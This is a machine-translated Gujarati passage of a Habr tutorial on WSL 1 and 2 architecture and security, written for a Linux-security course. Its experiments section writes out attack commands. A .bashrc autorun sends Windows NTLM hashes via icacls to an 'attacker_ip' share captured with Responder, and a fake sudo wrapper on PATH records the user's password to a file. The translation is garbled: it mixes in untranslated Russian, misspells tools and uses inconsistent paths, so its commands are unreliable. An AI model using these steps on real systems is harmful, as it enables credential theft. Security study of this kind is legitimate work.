WSL પ્રયોગો. ભાગ 1

હેલો, હેબર! OTUS ઓક્ટોબરમાં એક નવો કોર્સ સ્ટ્રીમ લોન્ચ કરે છે "લિનક્સ સુરક્ષા". કોર્સની શરૂઆતની અપેક્ષાએ, અમે તમારી સાથે અમારા એક શિક્ષક, એલેક્ઝાન્ડર કોલેસ્નિકોવ દ્વારા લખાયેલ લેખ શેર કરી રહ્યા છીએ.

2016 માં, માઇક્રોસોફ્ટે IT સમુદાયને નવી WSL ટેક્નોલોજી રજૂ કરી હતી (Wઉદ્યોગો Sમાટે યુબસિસ્ટમ Linux), જેણે ભવિષ્યમાં સામાન્ય અને અદ્યતન OS વપરાશકર્તાઓ: વિન્ડોઝ અને લિનક્સ એમ બંનેમાં લોકપ્રિયતા માટે લડતા અગાઉના અસંગત સ્પર્ધકોને એક કરવાનું શક્ય બનાવ્યું. આ ટેક્નોલોજીએ Linux OS ટૂલ્સને Linux ચલાવવાની જરૂર વગર Windows પર્યાવરણમાં વાપરવાનું શક્ય બનાવ્યું, ઉદાહરણ તરીકે, મલ્ટિ-બૂટનો ઉપયોગ કરીને. Habr પર તમે WSL નો ઉપયોગ કરવાના ફાયદાઓનું વર્ણન કરતા મોટી સંખ્યામાં લેખો શોધી શકો છો. જો કે, કમનસીબે, આ લેખની રચના સમયે, આ સંસાધન પર ઓપરેટિંગ સિસ્ટમ્સના આવા સહજીવનની સુરક્ષા પર કોઈ અભ્યાસો મળ્યાં નથી. આ પોસ્ટમાં તેને સુધારવાનો પ્રયાસ કરવામાં આવશે. લેખ WSL 1 અને 2 આર્કિટેક્ચરની વિશેષતાઓ વિશે વાત કરશે અને આ તકનીકોનો ઉપયોગ કરીને સિસ્ટમો પરના હુમલાના કેટલાક ઉદાહરણોની તપાસ કરશે. લેખ 2 ભાગોમાં વહેંચાયેલો છે. પ્રથમ Linux અને Windows માંથી મુખ્ય સૈદ્ધાંતિક હુમલો પદ્ધતિઓ પ્રદાન કરશે. બીજા લેખમાં પરીક્ષણ વાતાવરણ ગોઠવવું અને હુમલાઓનું પુનઃઉત્પાદન કરવું શામેલ હશે.

WSL 1: આર્કિટેક્ચરલ સુવિધાઓ

WSL સુરક્ષા મુદ્દાઓમાં સૌથી સચોટ ડાઇવ માટે, સબસિસ્ટમના અમલીકરણ સાથે સંકળાયેલ મુખ્ય ઘોંઘાટ નક્કી કરવી જરૂરી છે. WSL દ્વારા ઉકેલવામાં આવેલ મુખ્ય વપરાશકર્તા કાર્યોમાંનું એક Windows OS ચલાવતા હોસ્ટ પર Linux ટર્મિનલ દ્વારા કામ કરવાની ક્ષમતા છે. ઉપરાંત, ઓફર કરાયેલ સુસંગતતા એટલી મૂળ હતી કે Linux એક્ઝિક્યુટેબલ્સ (ELFs) સીધા Windows સિસ્ટમ પર ચલાવી શકાય છે. આ ધ્યેયો હાંસલ કરવા માટે, Windows 10 માં એક વિશેષ સબસિસ્ટમ બનાવવામાં આવી હતી જે તમને ચોક્કસ સિસ્ટમ કૉલ્સના સેટનો ઉપયોગ કરીને Linux એપ્લિકેશન ચલાવવાની મંજૂરી આપે છે - આમ, Windows પર Linux syscallsના સમૂહને મેપ કરવાનો પ્રયાસ કરવામાં આવ્યો હતો. આ ભૌતિક રીતે નવા ડ્રાઇવરો અને નવા પ્રક્રિયા ફોર્મેટને ઉમેરીને અમલમાં મૂકવામાં આવ્યું હતું. દૃષ્ટિની રીતે આર્કિટેક્ચર આના જેવું દેખાતું હતું:

હકીકતમાં, Linux ઓપરેટિંગ સિસ્ટમ સાથેની ક્રિયાપ્રતિક્રિયા કેટલાક કર્નલ મોડ્યુલો અને એક ખાસ પ્રકારની પ્રક્રિયા - પીકો દ્વારા ગોઠવવામાં આવી હતી. ઉપરના આકૃતિમાંથી, તમે જોઈ શકો છો કે હોસ્ટ પર Linux દાખલા પર ચાલતી પ્રક્રિયા મૂળ હોવી જોઈએ અને નિયમિત વિન્ડોઝ એપ્લિકેશન્સ જેવા જ સંસાધનોનો ઉપયોગ કરવો જોઈએ. પરંતુ આ કેવી રીતે પ્રાપ્ત કરવું? પ્રોજેક્ટમાં ડ્રોબ્રીજ વિન્ડોઝ માટે પ્રક્રિયાની વિભાવનાઓ વિકસાવવામાં આવી હતી જે અન્ય OS ની એપ્લિકેશન ચલાવવા માટે ઓપરેટિંગ સિસ્ટમના તમામ જરૂરી ઘટકો (તેના સંસ્કરણ પર આધાર રાખીને) પ્રદાન કરે છે.

નોંધ કરો કે સૂચિત અમૂર્તતાએ ઓપરેટિંગ સિસ્ટમ (ખાસ કરીને, વિન્ડોઝ) પર ધ્યાન કેન્દ્રિત ન કરવાનું શક્ય બનાવ્યું, જેમાં અન્ય OS ની પ્રક્રિયા શરૂ થવાની અપેક્ષા છે, અને સામાન્ય અભિગમ સૂચવ્યો.

આમ, પિકો પ્રક્રિયાની અંદરની કોઈપણ એપ્લિકેશન વિન્ડોઝ કર્નલને ધ્યાનમાં લીધા વિના ચાલી શકે છે:

1. સિસ્ટમ કૉલ્સની સુસંગતતા અને અનુવાદની સમસ્યાઓ ખાસ પ્રદાતાઓ દ્વારા ઉકેલવી આવશ્યક છે;
2. એક્સેસ કંટ્રોલ સિક્યુરિટી મોનિટર દ્વારા થવો જોઈએ. મોનિટર કર્નલમાં સ્થિત છે અને તેથી વિન્ડોઝને નવા ડ્રાઇવરના રૂપમાં અપગ્રેડની જરૂર છે જે આવી પ્રક્રિયાઓ માટે પ્રદાતા તરીકે કાર્ય કરી શકે. પ્રોટોટાઇપ પીકો પ્રક્રિયા નીચે યોજનાકીય રીતે રજૂ કરવામાં આવી છે:

Linux ફાઇલ સિસ્ટમ કેસ-સેન્સિટિવ ફાઇલ અને ડિરેક્ટરી નામોનો ઉપયોગ કરતી હોવાથી, WSL - VolFS અને DriveFS સાથે કામ કરવા માટે Windows માં 2 પ્રકારની ફાઇલ સિસ્ટમ ઉમેરવામાં આવી હતી. VolFS એ Linux ફાઇલ સિસ્ટમનું અમલીકરણ છે, DriveFS એ એક ફાઇલ સિસ્ટમ છે જે Windows નિયમો અનુસાર કામ કરે છે, પરંતુ કેસ સંવેદનશીલતા પસંદ કરવાની ક્ષમતા ધરાવે છે.

ડબ્લ્યુએસએલ 2

WSL 1 માં સંખ્યાબંધ મર્યાદાઓ હતી જેણે તેને મહત્તમ શ્રેણીના કાર્યોને ઉકેલવા માટે ઉપયોગમાં લેવાની મંજૂરી આપી ન હતી: ઉદાહરણ તરીકે, તેની પાસે 32-બીટ Linux એપ્લિકેશનો ચલાવવાની ક્ષમતા નથી, અને ઉપકરણ ડ્રાઇવરોનો ઉપયોગ કરવો અશક્ય હતું. તેથી, 2020 માં, WSL 2 રિલીઝ કરવામાં આવ્યું હતું, જેણે સબસિસ્ટમ બનાવવાનો અભિગમ બદલ્યો હતો. WSL 2 એ એક ઑપ્ટિમાઇઝ વર્ચ્યુઅલ મશીન છે જે WSL 1 ની સંસાધન વપરાશ લાક્ષણિકતાઓ સાથે મેળ ખાય છે. હવે, Windows OS વપરાશકર્તા દ્વારા હલ કરવામાં આવેલી સમસ્યાઓના આધારે, તમે Linux સબસિસ્ટમનું જરૂરી સંસ્કરણ પસંદ કરી શકો છો. સંભવિત નબળાઈઓને ઘટાડવા માટે, WSL 2 ને Windows 10 માં Hyper-V પર આધારિત અમલમાં મૂકવામાં આવ્યું હતું. આ સ્વરૂપમાં, Windows પાસે Linux ઑપરેટિંગ સિસ્ટમ કર્નલને એકલતામાં ચલાવવાની ક્ષમતા છે. તે યાદ રાખવું યોગ્ય છે કે WSL નું વર્ઝન 1 બીટા ફીચર તરીકે રજૂ કરવામાં આવ્યું હતું જે આ વિસ્તારમાં વિન્ડોઝ ડેવલપમેન્ટની દિશા દર્શાવતું હતું, તેથી હાયપર-વીમાં સંક્રમણ અનિવાર્ય હતું. અંતિમ આર્કિટેક્ચર આના જેવું લાગે છે:

આ સંસ્કરણમાં, વિન્ડોઝ અને લિનક્સ કર્નલોના પોતાના સંસાધનો છે અને આંતરછેદ ફક્ત ફાઇલ સિસ્ટમમાં જ અસ્તિત્વમાં છે, પરંતુ આ આંતરછેદ પૂર્ણ નથી. ફાઇલ સિસ્ટમો વચ્ચેની ક્રિયાપ્રતિક્રિયા ક્લાયંટ-સર્વર રેપર દ્વારા હાથ ધરવામાં આવે છે જે 9P પ્રોટોકોલનો ઉપયોગ કરીને કાર્ય કરે છે.

આજે માઈક્રોસોફ્ટ WSL 1 અને WSL 2 વચ્ચે સ્વિચ કરવાની ક્ષમતા પૂરી પાડે છે. બંને વર્ઝન ઉપયોગ માટે ઉપલબ્ધ છે.

WSL સુરક્ષા

આ ક્ષણે, સબસિસ્ટમ્સ વચ્ચેના સંદેશાવ્યવહાર પર હુમલો કરવા માટે કાયદેસર OS ટૂલ્સનો ઉપયોગ કરવાના કેટલાક અભિગમોનું વર્ણન કરતા ઘણા કાર્યો છે. લેખન સમયે હુમલાઓની સુસંગતતા ચકાસવા માટે અમે તેમની સ્ક્રિપ્ટનો ઉપયોગ કરીશું. હુમલાઓ અને દૃશ્યોની સામાન્ય સૂચિ:

1. ફાઇલ સિસ્ટમ અમલીકરણ: ઍક્સેસ અધિકારો, વહેંચાયેલ ડિરેક્ટરીઓ/ડેટા એક્સચેન્જ મિકેનિઝમ્સની ઉપલબ્ધતા.

ના ઍક્સેસ નિયમોના ઉલ્લંઘનને નિર્ધારિત કરવા માટે સંશોધન હાથ ધરવામાં આવ્યું હતું Linux FS->Windows FS, Windows FS->Linux FS. સંશોધને લક્ષ્ય OS ની અંદર આપેલ ફાઇલને સંશોધિત કરવાની ક્ષમતા દર્શાવી છે. અવેજી, ડુપ્લિકેટ્સ બનાવવા અને ફાઈલ સિસ્ટમના ભાગને કાઢી નાખવાના પ્રયાસો પણ કરવામાં આવ્યા હતા.

દૃશ્ય:

• A. વિન્ડોઝ ઓપરેટિંગ સિસ્ટમથી હુમલો - Linux OS ની /etc ડિરેક્ટરીમાંથી ફાઇલોમાં ફેરફાર.
• B. Linux ઓપરેટિંગ સિસ્ટમમાંથી હુમલો - ડિરેક્ટરીઓમાં ફાઇલોમાં ફેરફાર: C:Windows, C:Program Files, C:Users<User>

2. નેટવર્ક સ્ટેકનું અમલીકરણ.

વિન્ડોઝ પર Linux ઓપરેટિંગ સિસ્ટમના હુમલાના ઉદાહરણોનો ઉપયોગ કરીને સંશોધન હાથ ધરવામાં આવ્યું હતું. નેટવર્ક સ્ટેકની વિશેષતાઓનો ઉપયોગ કરવામાં આવ્યો હતો, એટલે કે, વિવિધ સંસાધનો પર પ્રમાણીકરણ પદ્ધતિઓ.

દૃશ્ય:

• વિન્ડોઝ સિસ્ટમ પર કબજો ધરાવતા પોર્ટની ઍક્સેસ ખોલવી
• યોગ્ય અધિકારો વિના બંદર ખોલવું
• વિન્ડોઝ ઓપરેટિંગ સિસ્ટમ પર એલ્ફ ફાઇલનો ઉપયોગ કરીને રિવર્સ શેલ ચલાવવું.

3. ડબ્લ્યુએસએલ સબસિસ્ટમનો ઉપયોગ કરીને દૂષિત સોફ્ટવેર પ્રક્રિયાઓના લોન્ચને છુપાવી રહ્યું છે.

સંશોધન એક સરળ હકીકત પર આધારિત હતું - સુરક્ષા સબસિસ્ટમ અન્ય કર્નલમાં ઇવેન્ટ્સને અટકાવી શકતી નથી જે WSL 1 ના કિસ્સામાં ઓપરેટિંગ સિસ્ટમમાંથી કાયદેસર પ્રદાતાનો ઉપયોગ કરીને કાર્ય કરે છે. WSL 2 ના કિસ્સામાં, ઘટનાઓ જોવાની કોઈ રીત નથી. હળવા વજનના વર્ચ્યુઅલ મશીનની અંદર અલગ કર્નલમાં.

દૃશ્ય:

1) સિસ્ટમમાં રીમોટ એક્સેસ માટે એપ્લિકેશન લોંચ કરો અને લોગ થયેલ ઇવેન્ટ્સ જુઓ.

WSL 1 પ્રયોગો: હેશ ઈન્ટરસેપ્શન (વિન્ડોઝ)

છેવટે અમે વ્યવહારિક ભાગ પર પહોંચ્યા. પ્રથમ, તમારે પરીક્ષણ વાતાવરણ સેટ કરવાની જરૂર છે. બધા પ્રયોગો વિન્ડોઝ 10 2004 ઇન્સ્ટોલ કરેલ બેન્ચ પર હાથ ધરવામાં આવશે. WSL માટે Ubuntu 18.04 ઇમેજને ઓપરેટિંગ સિસ્ટમ ઇમેજ તરીકે પસંદ કરવામાં આવી હતી. છબી રેન્ડમ પર પસંદ કરવામાં આવી હતી, અને કોઈપણ અન્ય સમાન કાર્ય કરશે. સ્ટેન્ડ સેટ કરવા માટેના આદેશો:

તમારે પહેલા લોન્ચ કરવું પડશે powershell.exe સંચાલક તરીકે.

WSL 1 માટે તમારે આદેશો ચલાવવાની જરૂર છે:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

સ્ટેન્ડ રીબૂટ કર્યા પછી, તમે bash આદેશને કૉલ કરી શકો છો. જો બધું યોગ્ય રીતે કાર્ય કરે છે, તો તમે Windows કન્સોલમાં આના જેવું જ આઉટપુટ જોશો:

અમે કાલી લિનક્સ ડિસ્ટ્રિબ્યુશનનો ઉપયોગ હુમલાખોરના મશીન તરીકે કરીશું; તમામ મશીનો સમાન સ્થાનિક નેટવર્ક પર હોવા જોઈએ.

ચાલો ધારીએ કે અમારી પાસે વિન્ડોઝ મશીન પર ડબ્લ્યુએસએલની અનપ્રિવિલેજ એક્સેસ છે. ચાલો Linux ના આદેશને કૉલ કરીને Linux ઑપરેટિંગ સિસ્ટમ પર હુમલો કરવાનો પ્રયાસ કરીએ. હુમલાને અમલમાં મૂકવા માટે, અમે એક સરળ ઓટોરન તકનીકનો ઉપયોગ કરીશું - અમે Linux પર્યાવરણમાં અમલ માટે અમારી સ્ક્રિપ્ટ ઉમેરીશું. આ કરવા માટે તમારે ફાઇલ બદલવાની જરૂર છે .bashrc.

WSL સાથેના મશીન પર અમે એક્ઝેક્યુટ કરીએ છીએ:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

કાલી લિનક્સ મશીન પર અમે ચલાવીએ છીએ:

1. Responder -I eth0 -rdvw

વિન્ડોઝ મશીન પર, ચાલો બેશ લોન્ચ કરીએ.

અમે કાલી લિનક્સ મશીન પર પરિણામની રાહ જોઈ રહ્યા છીએ:

આમ, અમે Linux સિસ્ટમ પર આદેશને એક્ઝિક્યુટ કરીને WSL સબસિસ્ટમ દ્વારા વિન્ડોઝ યુઝર હેશ મેળવ્યા છે.

WSL 1 પ્રયોગો: વપરાશકર્તા પાસવર્ડ મેળવવો (Linux OS)

ચાલો એક વધુ પ્રયોગ કરીએ. આ ચેક દરમિયાન અમે ફાઇલમાં ઉમેરીશું .bashrc Linux ઓપરેટિંગ સિસ્ટમ વપરાશકર્તા પાસવર્ડ મેળવવા માટે ઘણા આદેશો.

ચાલો બેશ લોન્ચ કરીએ અને આદેશો દાખલ કરીએ:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

હુમલાને સફળતાપૂર્વક પૂર્ણ કરવા માટે, વપરાશકર્તા સેમને Linux ટર્મિનલમાં sudo કૉલ કરવાની જરૂર છે. આ પછી, Linux OS વપરાશકર્તા પાસવર્ડ ફાઇલમાં હશે pass.txt:

હુમલાનો અમલ માત્ર સૈદ્ધાંતિક માહિતી માટે આપવામાં આવ્યો હતો.

લેખનો આગળનો ભાગ 9P પ્રોટોકોલના અમલીકરણનું વર્ણન કરશે, આ પ્રોટોકોલ માટે સ્કેનર બનાવવાનો વિચાર કરશે અને તેનો ઉપયોગ કરીને હુમલો પણ કરશે.

વપરાયેલ સાહિત્યની સૂચિ

• WSL 2 ખરાબીમાં સંશોધન
• Linux દસ્તાવેજીકરણ માટે વિન્ડોઝ સબસિસ્ટમ

વધુ વાંચો

• રીઅલ-ટાઇમ લિનક્સ કર્નલ પેચિંગ સોફ્ટવેર કેવી રીતે પસંદ કરવું

સોર્સ: www.habr.com